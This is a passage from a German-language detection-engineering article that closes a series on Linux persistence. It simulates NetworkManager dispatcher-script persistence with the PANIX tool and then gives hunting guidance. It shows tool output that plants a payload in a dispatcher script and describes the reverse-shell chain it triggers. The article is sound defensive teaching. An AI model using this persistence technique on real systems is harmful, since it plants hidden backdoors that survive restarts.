[+] Replaced payload placeholder with actual payload.
[+] Using dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh

Sobald ein neues Netzwerkereignis ausgelöst wird, wird die Nutzlast ausgeführt. Dies kann durch einen Neustart des NetworkManager-Dienstes, einer Schnittstelle oder einen Neustart erfolgen. Werfen Sie einen Blick auf die Dokumente in Kibana:

Bei der Ausführung von PANIX wird das panix-dispatcher.sh-Skript erstellt, als ausführbar markiert und sed wird verwendet, um die Nutzlast am Ende des Skripts hinzuzufügen. Beim Neustart des NetworkManager-Dienstes über systemctl können wir sehen, dass nm-dispatcher das panix-dispatcher.sh-Skript ausführt, wodurch die Reverse-Shell-Kette (panix-dispatcher.sh → nohup → setsid → bash) effektiv ausgelöst wird.

Und schließlich werfen wir einen Blick auf unsere Erkennungsmöglichkeiten:

Detection und Endpoint-Regeln, die die Persistenz des Netzwerk-Managers abdecken

Um Änderungen rückgängig zu machen, können Sie das entsprechende Rücksetzmodul verwenden, indem Sie es ausführen:

> ./panix.sh --revert network-manager

[+] Checking for payload in /etc/NetworkManager/dispatcher.d/01-ifupdown...
[+] No payload found in /etc/NetworkManager/dispatcher.d/01-ifupdown.
[+] Removing custom dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh...
[+] Custom dispatcher file removed.
[+] NetworkManager persistence reverted.

Suche nach T1546 – Ereignisgesteuerte Ausführung: NetworkManager

Wir können mit ES|QL und OSQuery nach dieser Technik suchen, indem wir uns auf verdächtige Aktivitäten konzentrieren, die mit der Erstellung, Änderung und Ausführung von NetworkManager-Dispatcher-Skripten verbunden sind. Der Ansatz umfasst das Monitoring der folgenden Punkte:

1. Erstellungen und/oder Änderungen an Dispatcher-Skripten: Verfolgt Änderungen im /etc/NetworkManager/dispatcher.d/-Verzeichnis. Monitoring neuer oder geänderter Skripte hilft dabei, unautorisierte Ergänzungen oder Modifikationen zu erkennen, die auf böswillige Absichten hindeuten könnten.
2. Erkennung verdächtiger Prozesse: Überwacht Prozesse, die von nm-dispatcher ausgeführt werden, oder Skripte, die sich in /etc/NetworkManager/dispatcher.d/ befinden. Durch die Analyse von command lines, übergeordneten Prozessen und Ausführungszahlen lassen sich ungewöhnliche oder nicht autorisierte Skriptausführungen erkennen.
3. Metadatenanalyse von Dispatcher-Skripten: Überprüft den Besitz, die letzten Zugriffszeiten und die Änderungszeitstempel für Dateien in /etc/NetworkManager/dispatcher.d/. Dies kann nicht autorisierte Änderungen oder Anomalien in Dateiattributen aufdecken, die auf Persistenzversuche hindeuten könnten.

Durch die Kombination der Persistenz via NetworkManager Dispatcher Script-Hunting-Regel mit den oben aufgeführten maßgeschneiderten Erkennungsabfragen können Analysten T1546 effektiv identifizieren und darauf reagieren.

Fazit

Im fünften und abschließenden Kapitel der Serie „Linux Detection Engineering“ richteten wir unser Augenmerk auf Persistenzmechanismen, die im Linux-Bootprozess, in Authentifizierungssystemen, in der Interprozesskommunikation und in den Kernprogrammen verwurzelt sind. Wir begannen mit GRUB-basierter Persistenz und der Manipulation von initramfs, wobei wir sowohl manuelle Ansätze als auch automatisierte Methoden mit Dracut abdeckten. Im weiteren Verlauf haben wir die Polkit-basierte Persistenz untersucht, gefolgt von einer Untersuchung der D-Bus-Ausnutzung, und mit NetworkManager-Dispatcher-Skripten abgeschlossen, die ihr Missbrauchspotenzial in Persistenzszenarien verdeutlichen.

Im Verlauf dieser Serie spielte PANIX eine entscheidende Rolle bei der Demonstration und Simulation dieser Techniken, sodass Sie Ihre Erkennungsfähigkeiten testen und Ihre Verteidigungen stärken konnten. In Kombination mit den bereitgestellten maßgeschneiderten ES|QL- und OSQuery-Abfragen ermöglichen Ihnen diese Tools, selbst die fortschrittlichsten Persistenzmechanismen zu identifizieren und effektiv darauf zu reagieren.

Zum Abschluss dieser Serie hoffen wir, dass Sie sich befähigt fühlen, Bedrohungen der Linux-Persistenz mit Zuversicht zu bewältigen. Mit praktischem Wissen, umsetzbaren Strategien und praktischer Erfahrung ausgestattet, sind Sie bestens darauf vorbereitet, sich gegen Angreifer zu verteidigen, die Linux-Umgebungen ins Visier nehmen. Vielen Dank, dass Sie sich uns angeschlossen haben, und wie immer, bleiben Sie wachsam und viel Erfolg bei der Jagd!